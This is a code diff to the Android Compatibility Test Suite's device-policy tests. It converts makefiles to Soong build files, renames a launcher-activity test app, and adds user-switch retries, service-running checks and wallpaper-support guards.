--- a/hostsidetests/devicepolicy/app/Android.mk
+++ /dev/null
@@ -1,20 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.bp b/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.bp
new file mode 100644
index 0000000..2422d71
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "CtsDevicePolicyContentSuggestionsApp",
+ defaults: ["cts_defaults"],
+ srcs: ["src/**/*.java"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "arcts",
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ sdk_version: "system_current",
+}
diff --git a/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.mk b/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.mk
deleted file mode 100644
index 90f56d6..0000000
--- a/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsDevicePolicyContentSuggestionsApp
-
-LOCAL_SDK_VERSION := system_current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/Android.bp b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/Android.bp
similarity index 90%
rename from hostsidetests/devicepolicy/app/NoLaunchableActivityApp/Android.bp
rename to hostsidetests/devicepolicy/app/HasLauncherActivityApp/Android.bp
index 1856ed0..f2c0649 100644
--- a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/Android.bp
@@ -13,7 +13,7 @@
// limitations under the License.
android_test_helper_app {
- name: "CtsNoLaunchableActivityApp",
+ name: "CtsHasLauncherActivityApp",
// Don't include this package in any target
// When built, explicitly put it in the data partition.
dex_preopt: {
@@ -32,9 +32,9 @@
sdk_version: "current",
}
-// Build for no component app
+// Build for no launcher activity app
android_test_helper_app {
- name: "CtsNoComponentApp",
+ name: "CtsNoLauncherActivityApp",
dex_preopt: {
enabled: false,
},
@@ -48,7 +48,7 @@
"vts",
"general-tests",
],
- manifest: "no_component_AndroidManifest.xml",
+ manifest: "no_launcher_activity_AndroidManifest.xml",
sdk_version: "current",
}
diff --git a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/AndroidManifest.xml
similarity index 69%
copy from hostsidetests/devicepolicy/app/NoLaunchableActivityApp/AndroidManifest.xml
copy to hostsidetests/devicepolicy/app/HasLauncherActivityApp/AndroidManifest.xml
index 59f3767..760b31f 100755
--- a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/AndroidManifest.xml
@@ -16,9 +16,15 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.cts.nolaunchableactivityapp">
+ package="com.android.cts.haslauncheractivityapp">
<uses-permission android:name="android.permission.INTERNET" />
- <application>
+ <application android:testOnly="true">
+ <activity android:name="com.android.cts.haslauncheractivityapp.MainActivity">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
<service android:name=".EmptyService" android:enabled="true"></service>
</application>
diff --git a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/no_launcher_activity_AndroidManifest.xml
similarity index 71%
rename from hostsidetests/devicepolicy/app/NoLaunchableActivityApp/AndroidManifest.xml
rename to hostsidetests/devicepolicy/app/HasLauncherActivityApp/no_launcher_activity_AndroidManifest.xml
index 59f3767..ae2249a 100755
--- a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/no_launcher_activity_AndroidManifest.xml
@@ -1,6 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
<!--
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2019 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -16,9 +16,14 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.cts.nolaunchableactivityapp">
+ package="com.android.cts.nolauncheractivityapp">
<uses-permission android:name="android.permission.INTERNET" />
<application>
+ <activity android:name="com.android.cts.haslauncheractivityapp.MainActivity">
+ <intent-filter>
+ <action android:name="android.intent.action.VIEW" />
+ </intent-filter>
+ </activity>
<service android:name=".EmptyService" android:enabled="true"></service>
</application>
diff --git a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/no_permission_AndroidManifest.xml b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/no_permission_AndroidManifest.xml
similarity index 100%
rename from hostsidetests/devicepolicy/app/NoLaunchableActivityApp/no_permission_AndroidManifest.xml
rename to hostsidetests/devicepolicy/app/HasLauncherActivityApp/no_permission_AndroidManifest.xml
diff --git a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/src/com/android/cts/nolaunchableactivityapp/EmptyService.java b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/src/com/android/cts/haslauncheractivityapp/EmptyService.java
similarity index 94%
rename from hostsidetests/devicepolicy/app/NoLaunchableActivityApp/src/com/android/cts/nolaunchableactivityapp/EmptyService.java
rename to hostsidetests/devicepolicy/app/HasLauncherActivityApp/src/com/android/cts/haslauncheractivityapp/EmptyService.java
index 6cd0da6..80f9ee5 100644
--- a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/src/com/android/cts/nolaunchableactivityapp/EmptyService.java
+++ b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/src/com/android/cts/haslauncheractivityapp/EmptyService.java
@@ -13,7 +13,7 @@
* See the License for the specific language governing permissions and
* limitations under the License.
*/
-package com.android.cts.nolaunchableactivityapp;
+package com.android.cts.haslaunchableactivityapp;
import android.app.Service;
import android.content.Intent;
diff --git a/libs/rollback/testapp/src/com/android/cts/rollback/lib/testapp/MainActivity.java b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/src/com/android/cts/haslauncheractivityapp/MainActivity.java
similarity index 86%
rename from libs/rollback/testapp/src/com/android/cts/rollback/lib/testapp/MainActivity.java
rename to hostsidetests/devicepolicy/app/HasLauncherActivityApp/src/com/android/cts/haslauncheractivityapp/MainActivity.java
index e426382..1f2b2cb 100644
--- a/libs/rollback/testapp/src/com/android/cts/rollback/lib/testapp/MainActivity.java
+++ b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/src/com/android/cts/haslauncheractivityapp/MainActivity.java
@@ -13,13 +13,10 @@
* See the License for the specific language governing permissions and
* limitations under the License.
*/
-
-package com.android.cts.rollback.lib.testapp;
+package com.android.cts.haslaunchableactivityapp;
import android.app.Activity;
-/**
- * A test app for testing apk rollback support.
- */
public class MainActivity extends Activity {
}
+
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/Android.bp b/hostsidetests/devicepolicy/app/LauncherTests/Android.bp
new file mode 100644
index 0000000..5b9dd20
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/LauncherTests/Android.bp
@@ -0,0 +1,37 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "CtsLauncherAppsTests",
+ defaults: ["cts_defaults"],
+ srcs: ["src/**/*.java"],
+ libs: [
+ "junit",
+ "android.test.base.stubs",
+ ],
+ static_libs: [
+ "androidx.legacy_legacy-support-v4",
+ "ctstestrunner-axt",
+ "androidx.test.rules",
+ "compatibility-device-util-axt",
+ "ShortcutManagerTestUtils",
+ "testng",
+ ],
+ test_suites: [
+ "arcts",
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/Android.mk b/hostsidetests/devicepolicy/app/LauncherTests/Android.mk
deleted file mode 100644
index fc424be..0000000
--- a/hostsidetests/devicepolicy/app/LauncherTests/Android.mk
+++ /dev/null
@@ -1,43 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsLauncherAppsTests
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := junit android.test.base.stubs
-
-LOCAL_STATIC_JAVA_LIBRARIES = \
- androidx.legacy_legacy-support-v4 \
- ctstestrunner-axt \
- androidx.test.rules \
- compatibility-device-util-axt \
- ShortcutManagerTestUtils \
- testng
-
-LOCAL_SDK_VERSION := system_current
-LOCAL_MIN_SDK_VERSION := 21
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/LauncherAppsTests.java b/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/LauncherAppsTests.java
index 45032a4..cade532 100644
--- a/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/LauncherAppsTests.java
+++ b/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/LauncherAppsTests.java
@@ -42,7 +42,9 @@
import android.test.AndroidTestCase;
import androidx.test.InstrumentationRegistry;
+import com.android.compatibility.common.util.SystemUtil;
+import java.io.IOException;
import java.util.List;
import java.util.concurrent.Semaphore;
import java.util.concurrent.TimeUnit;
@@ -53,12 +55,14 @@
public class LauncherAppsTests extends AndroidTestCase {
public static final String SIMPLE_APP_PACKAGE = "com.android.cts.launcherapps.simpleapp";
- private static final String NO_LAUNCHABLE_ACTIVITY_APP_PACKAGE =
- "com.android.cts.nolaunchableactivityapp";
- private static final String NO_COMPONENT_APP_PACKAGE =
- "com.android.cts.nocomponentapp";
+ private static final String HAS_LAUNCHER_ACTIVITY_APP_PACKAGE =
+ "com.android.cts.haslauncheractivityapp";
+ private static final String NO_LAUNCHER_ACTIVITY_APP_PACKAGE =
+ "com.android.cts.nolauncheractivityapp";
private static final String NO_PERMISSION_APP_PACKAGE =
"com.android.cts.nopermissionapp";
+ private static final String LAUNCHER_ACTIVITY_COMPONENT =
+ "com.android.cts.haslauncheractivityapp/.MainActivity";
private static final String SYNTHETIC_APP_DETAILS_ACTIVITY = "android.app.AppDetailsActivity";
@@ -216,15 +220,17 @@
assertFalse(mLauncherApps.isPackageEnabled("android", mUser));
}
- public void testNoLaunchableActivityAppHasAppDetailsActivityInjected() throws Exception {
- // NoLaunchableActivityApp is installed for duration of this test - make sure
+ public void testHasLauncherActivityAppHasAppDetailsActivityInjected() throws Exception {
+ // HasLauncherActivityApp is installed for duration of this test - make sure
// it's present on the activity list, has the synthetic activity generated, and it's
// enabled and exported
- assertActivityInjected(NO_LAUNCHABLE_ACTIVITY_APP_PACKAGE);
+ disableLauncherActivity();
+ assertActivityInjected(HAS_LAUNCHER_ACTIVITY_APP_PACKAGE);
}
public void testGetSetSyntheticAppDetailsActivityEnabled() throws Exception {
- assertActivityInjected(NO_LAUNCHABLE_ACTIVITY_APP_PACKAGE);
+ disableLauncherActivity();
+ assertActivityInjected(HAS_LAUNCHER_ACTIVITY_APP_PACKAGE);
PackageManager pm = mInstrumentation.getContext().getPackageManager();
try {
pm.setSyntheticAppDetailsActivityEnabled(mContext.getPackageName(), false);
@@ -233,7 +239,7 @@
// Expected: No permission
}
try {
- pm.setSyntheticAppDetailsActivityEnabled(NO_LAUNCHABLE_ACTIVITY_APP_PACKAGE, false);
+ pm.setSyntheticAppDetailsActivityEnabled(HAS_LAUNCHER_ACTIVITY_APP_PACKAGE, false);
fail("Should not able to change other app's app details activity state");
} catch (SecurityException e) {
// Expected: No permission
@@ -241,17 +247,17 @@
mInstrumentation.getUiAutomation().adoptShellPermissionIdentity();
try {
assertTrue(
- pm.getSyntheticAppDetailsActivityEnabled(NO_LAUNCHABLE_ACTIVITY_APP_PACKAGE));
+ pm.getSyntheticAppDetailsActivityEnabled(HAS_LAUNCHER_ACTIVITY_APP_PACKAGE));
// Disable app details activity and assert if the change is applied
- pm.setSyntheticAppDetailsActivityEnabled(NO_LAUNCHABLE_ACTIVITY_APP_PACKAGE, false);
+ pm.setSyntheticAppDetailsActivityEnabled(HAS_LAUNCHER_ACTIVITY_APP_PACKAGE, false);
assertFalse(
- pm.getSyntheticAppDetailsActivityEnabled(NO_LAUNCHABLE_ACTIVITY_APP_PACKAGE));
- assertInjectedActivityNotFound(NO_LAUNCHABLE_ACTIVITY_APP_PACKAGE);
+ pm.getSyntheticAppDetailsActivityEnabled(HAS_LAUNCHER_ACTIVITY_APP_PACKAGE));
+ assertInjectedActivityNotFound(HAS_LAUNCHER_ACTIVITY_APP_PACKAGE);
// Enable app details activity and assert if the change is applied
- pm.setSyntheticAppDetailsActivityEnabled(NO_LAUNCHABLE_ACTIVITY_APP_PACKAGE, true);
+ pm.setSyntheticAppDetailsActivityEnabled(HAS_LAUNCHER_ACTIVITY_APP_PACKAGE, true);
assertTrue(
- pm.getSyntheticAppDetailsActivityEnabled(NO_LAUNCHABLE_ACTIVITY_APP_PACKAGE));
- assertActivityInjected(NO_LAUNCHABLE_ACTIVITY_APP_PACKAGE);
+ pm.getSyntheticAppDetailsActivityEnabled(HAS_LAUNCHER_ACTIVITY_APP_PACKAGE));
+ assertActivityInjected(HAS_LAUNCHER_ACTIVITY_APP_PACKAGE);
} finally {
mInstrumentation.getUiAutomation().dropShellPermissionIdentity();
}
@@ -262,10 +268,10 @@
assertActivityInjected(MANAGED_PROFILE_PKG);
}
- public void testNoComponentAppNotInjected() throws Exception {
- // NoComponentApp is installed for duration of this test - make sure
+ public void testNoLauncherActivityAppNotInjected() throws Exception {
+ // NoLauncherActivityApp is installed for duration of this test - make sure
// it's NOT present on the activity list
- assertInjectedActivityNotFound(NO_COMPONENT_APP_PACKAGE);
+ assertInjectedActivityNotFound(NO_LAUNCHER_ACTIVITY_APP_PACKAGE);
}
public void testNoPermissionAppNotInjected() throws Exception {
@@ -275,10 +281,11 @@
}
public void testDoPoNoTestAppInjectedActivityFound() throws Exception {
- // NoLaunchableActivityApp is installed for duration of this test - make sure
+ // HasLauncherActivityApp is installed for duration of this test - make sure
// it's NOT present on the activity list For example, DO / PO mode won't show icons.
// This test is being called by DeviceOwnerTest.
- assertInjectedActivityNotFound(NO_LAUNCHABLE_ACTIVITY_APP_PACKAGE);
+ disableLauncherActivity();
+ assertInjectedActivityNotFound(HAS_LAUNCHER_ACTIVITY_APP_PACKAGE);
}
public void testProfileOwnerInjectedActivityNotFound() throws Exception {
@@ -305,6 +312,11 @@
}
}
+ private void disableLauncherActivity() throws IOException {
+ SystemUtil.runShellCommand(mInstrumentation,
+ "pm disable --user " + mUser.getIdentifier() + " " + LAUNCHER_ACTIVITY_COMPONENT);
+ }
+
private void expectSecurityException(ExceptionRunnable action, String failMessage)
throws Exception {
try {
@@ -336,7 +348,7 @@
if (compName.getPackageName().equals(targetPackage)) {
noLaunchableActivityAppFound = true;
// make sure it points to the synthetic app details activity
- assertEquals(activity.getName(), SYNTHETIC_APP_DETAILS_ACTIVITY);
+ assertEquals(SYNTHETIC_APP_DETAILS_ACTIVITY, activity.getName());
// make sure it's both exported and enabled
try {
PackageManager pm = mInstrumentation.getContext().getPackageManager();
diff --git a/hostsidetests/devicepolicy/app/MeteredDataTestApp/src/com/android/cts/devicepolicy/metereddatatestapp/MainActivity.java b/hostsidetests/devicepolicy/app/MeteredDataTestApp/src/com/android/cts/devicepolicy/metereddatatestapp/MainActivity.java
old mode 100644
new mode 100755
index 09282b3..e674008
--- a/hostsidetests/devicepolicy/app/MeteredDataTestApp/src/com/android/cts/devicepolicy/metereddatatestapp/MainActivity.java
+++ b/hostsidetests/devicepolicy/app/MeteredDataTestApp/src/com/android/cts/devicepolicy/metereddatatestapp/MainActivity.java
@@ -31,6 +31,7 @@
private static final String EXTRA_MESSENGER = "messenger";
private static final int MSG_NOTIFY_NETWORK_STATE = 1;
+ private static final int WAIT_TO_ALLOW_CONNECTING_MS = 2000;
@Override
public void onCreate(Bundle icicle) {
@@ -60,6 +61,15 @@
private NetworkInfo getActiveNetworkInfo() {
final ConnectivityManager cm = (ConnectivityManager) getSystemService(
Context.CONNECTIVITY_SERVICE);
+ waitToAllowConnecting();
return cm.getActiveNetworkInfo();
}
+
+ private void waitToAllowConnecting() {
+ try {
+ Thread.sleep(WAIT_TO_ALLOW_CONNECTING_MS);
+ } catch (InterruptedException e) {
+ throw new IllegalStateException(e);
+ }
+ }
}
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/DeviceAndProfileOwnerTransferIncomingTest.java b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/DeviceAndProfileOwnerTransferIncomingTest.java
index b30e8d6..2d839c0 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/DeviceAndProfileOwnerTransferIncomingTest.java
+++ b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/DeviceAndProfileOwnerTransferIncomingTest.java
@@ -51,12 +51,6 @@
public static class BasicAdminService extends Service {
@Override
- public void onCreate() {
- super.onCreate();
- putBooleanPref(getApplicationContext(), KEY_TRANSFER_ADMIN_SERVICE_BOUND, true);
- }
-
- @Override
public IBinder onBind(Intent intent) {
return null;
}
@@ -68,8 +62,6 @@
private final static String SHARED_PREFERENCE_NAME = "shared-preference-name";
private final static String KEY_TRANSFER_COMPLETED_CALLED = "key-transfer-completed-called";
- private final static String KEY_TRANSFER_ADMIN_SERVICE_BOUND =
- "key-transfer-admin-service-bound";
private final static String ARE_PARAMETERS_SAVED = "ARE_PARAMETERS_SAVED";
protected Context mContext;
@@ -120,11 +112,6 @@
assertTrue(bundle.isEmpty());
}
- @Test
- public void testAdminServiceIsBound() {
- assertTrue(getBooleanPref(mContext, KEY_TRANSFER_ADMIN_SERVICE_BOUND));
- }
-
private static SharedPreferences getPrefs(Context context) {
return context.getSharedPreferences(SHARED_PREFERENCE_NAME, Context.MODE_PRIVATE);
}
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferDeviceOwnerIncomingTest.java b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferDeviceOwnerIncomingTest.java
index f39dbbe..65c952f 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferDeviceOwnerIncomingTest.java
+++ b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferDeviceOwnerIncomingTest.java
@@ -38,7 +38,7 @@
assertEquals(Collections.singletonList("test.package"),
mDevicePolicyManager.getKeepUninstalledPackages(mIncomingComponentName));
assertEquals(123, mDevicePolicyManager.getPasswordMinimumLength(mIncomingComponentName));
- assertSystemPoliciesEqual(SystemUpdatePolicy.createWindowedInstallPolicy(123, 456),
+ assertSystemPoliciesEqual(SystemUpdatePolicy.createPostponeInstallPolicy(),
mDevicePolicyManager.getSystemUpdatePolicy());
assertThrows(SecurityException.class, () -> {
mDevicePolicyManager.getParentProfileInstance(mIncomingComponentName);
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferDeviceOwnerOutgoingTest.java b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferDeviceOwnerOutgoingTest.java
index b42b2bd..ce8736f 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferDeviceOwnerOutgoingTest.java
+++ b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferDeviceOwnerOutgoingTest.java
@@ -47,7 +47,7 @@
mDevicePolicyManager.setKeepUninstalledPackages(mOutgoingComponentName,
Collections.singletonList("test.package"));
mDevicePolicyManager.setSystemUpdatePolicy(mOutgoingComponentName,
- SystemUpdatePolicy.createWindowedInstallPolicy(123, 456));
+ SystemUpdatePolicy.createPostponeInstallPolicy());
PersistableBundle b = new PersistableBundle();
mDevicePolicyManager.transferOwnership(mOutgoingComponentName, INCOMING_COMPONENT_NAME, b);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AdbProvisioningTests.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AdbProvisioningTests.java
index 218d6b7..6e9ed7e 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AdbProvisioningTests.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AdbProvisioningTests.java
@@ -30,10 +30,10 @@
@Override
protected void setUp() throws Exception {
- super.setUp();
if (!mHasFeature) {
return;
}
+ super.setUp();
installAppAsUser(DEVICE_ADMIN_APK, mPrimaryUserId);
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
index 17bbf06..e374136 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
@@ -95,6 +95,11 @@
*/
private static final long USER_REMOVE_WAIT = TimeUnit.SECONDS.toMillis(5);
+ /**
+ * The amount of milliseconds to wait for the switch user calls in {@link #tearDown}.
+ */
+ private static final long USER_SWITCH_WAIT = TimeUnit.SECONDS.toMillis(5);
+
// From the UserInfo class
protected static final int FLAG_PRIMARY = 0x00000001;
protected static final int FLAG_GUEST = 0x00000004;
@@ -134,6 +139,9 @@
protected boolean mHasFeature;
protected int mPrimaryUserId;
+ /** Record the initial user ID. */
+ protected int mInitialUserId;
+
/** Whether multi-user is supported. */
protected boolean mSupportsMultiUser;
@@ -179,6 +187,11 @@
mFixedUsers = new ArrayList<>();
mPrimaryUserId = getPrimaryUser();
+
+ // Set the value of initial user ID calls in {@link #setUp}.
+ if(mSupportsMultiUser) {
+ mInitialUserId = getDevice().getCurrentUser();
+ }
mFixedUsers.add(mPrimaryUserId);
if (mPrimaryUserId != USER_SYSTEM) {
mFixedUsers.add(USER_SYSTEM);
@@ -211,7 +224,11 @@
getDevice().executeShellCommand("settings put global package_verifier_enable "
+ mPackageVerifier);
removeOwners();
- switchUser(USER_SYSTEM);
+
+ // Switch back to initial user.
+ if (mSupportsMultiUser && getDevice().getCurrentUser() != mInitialUserId) {
+ switchUser(mInitialUserId);
+ }
removeTestUsers();
removeTestPackages();
super.tearDown();
@@ -282,7 +299,15 @@
*/
protected void switchUser(int userId) throws Exception {
// TODO Move this logic to ITestDevice
+ int retries = 10;
executeShellCommand("am switch-user " + userId);
+ while (getDevice().getCurrentUser() != userId && (--retries) >= 0) {
+ // am switch-user can be ignored if a previous user-switching operation
+ // is still in progress. In this case, sleep a bit and then retry
+ Thread.sleep(USER_SWITCH_WAIT);
+ executeShellCommand("am switch-user " + userId);
+ }
+ assertTrue("Failed to switch user after multiple retries", getDevice().getCurrentUser() == userId);
}
protected int getMaxNumberOfUsersSupported() throws DeviceNotAvailableException {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerHostSideTransferTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerHostSideTransferTest.java
index 9cdcf1a..ea7bdc4 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerHostSideTransferTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerHostSideTransferTest.java
@@ -5,6 +5,8 @@
import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
import com.android.tradefed.device.DeviceNotAvailableException;
+import static com.google.common.truth.Truth.assertThat;
+
import android.stats.devicepolicy.EventId;
public abstract class DeviceAndProfileOwnerHostSideTransferTest extends BaseDevicePolicyTest {
@@ -24,6 +26,10 @@
"com.android.cts.transferowner.TransferProfileOwnerOutgoingTest";
protected static final String TRANSFER_PROFILE_OWNER_INCOMING_TEST =
"com.android.cts.transferowner.TransferProfileOwnerIncomingTest";
+ private final String INCOMING_ADMIN_SERVICE_FULL_NAME =
+ "com.android.cts.transferowner"
+ + ".DeviceAndProfileOwnerTransferIncomingTest$BasicAdminService";
+
protected int mUserId;
protected String mOutgoingTestClassName;
@@ -215,9 +221,13 @@
runDeviceTestsAsUser(TRANSFER_OWNER_OUTGOING_PKG,
mOutgoingTestClassName,
"testTransferOwnership", mUserId);
- runDeviceTestsAsUser(TRANSFER_OWNER_INCOMING_PKG,
- mIncomingTestClassName,
- "testAdminServiceIsBound", mUserId);
+ assertServiceRunning(INCOMING_ADMIN_SERVICE_FULL_NAME);
+ }
+
+ private void assertServiceRunning(String serviceName) throws DeviceNotAvailableException {
+ final String result = getDevice().executeShellCommand(
+ String.format("dumpsys activity services %s", serviceName));
+ assertThat(result).contains("app=ProcessRecord");
}
protected void setSameAffiliationId(int profileUserId, String testClassName)
@@ -239,9 +249,4 @@
testClassName,
"testIsAffiliationId1", profileUserId);
}
-
- /* TODO: Add tests for:
- * 1. passwordOwner
- *
- * */
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index ceafda1..059635a 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -857,6 +857,11 @@
return;
}
+ if (!hasService("wallpaper")) {
+ CLog.d("testSetWallpaper_disallowed(): device does not support wallpapers");
+ return;
+ }
+
installAppAsUser(CUSTOMIZATION_APP_APK, mUserId);
try {
changeUserRestrictionOrFail(DISALLOW_SET_WALLPAPER, true, mUserId);
@@ -873,6 +878,10 @@
if (!mHasFeature) {
return;
}
+ if (!hasService("wallpaper")) {
+ CLog.d("testDisallowSetWallpaper_allowed(): device does not support wallpapers");
+ return;
+ }
executeDeviceTestMethod(".CustomizationRestrictionsTest",
"testDisallowSetWallpaper_allowed");
}
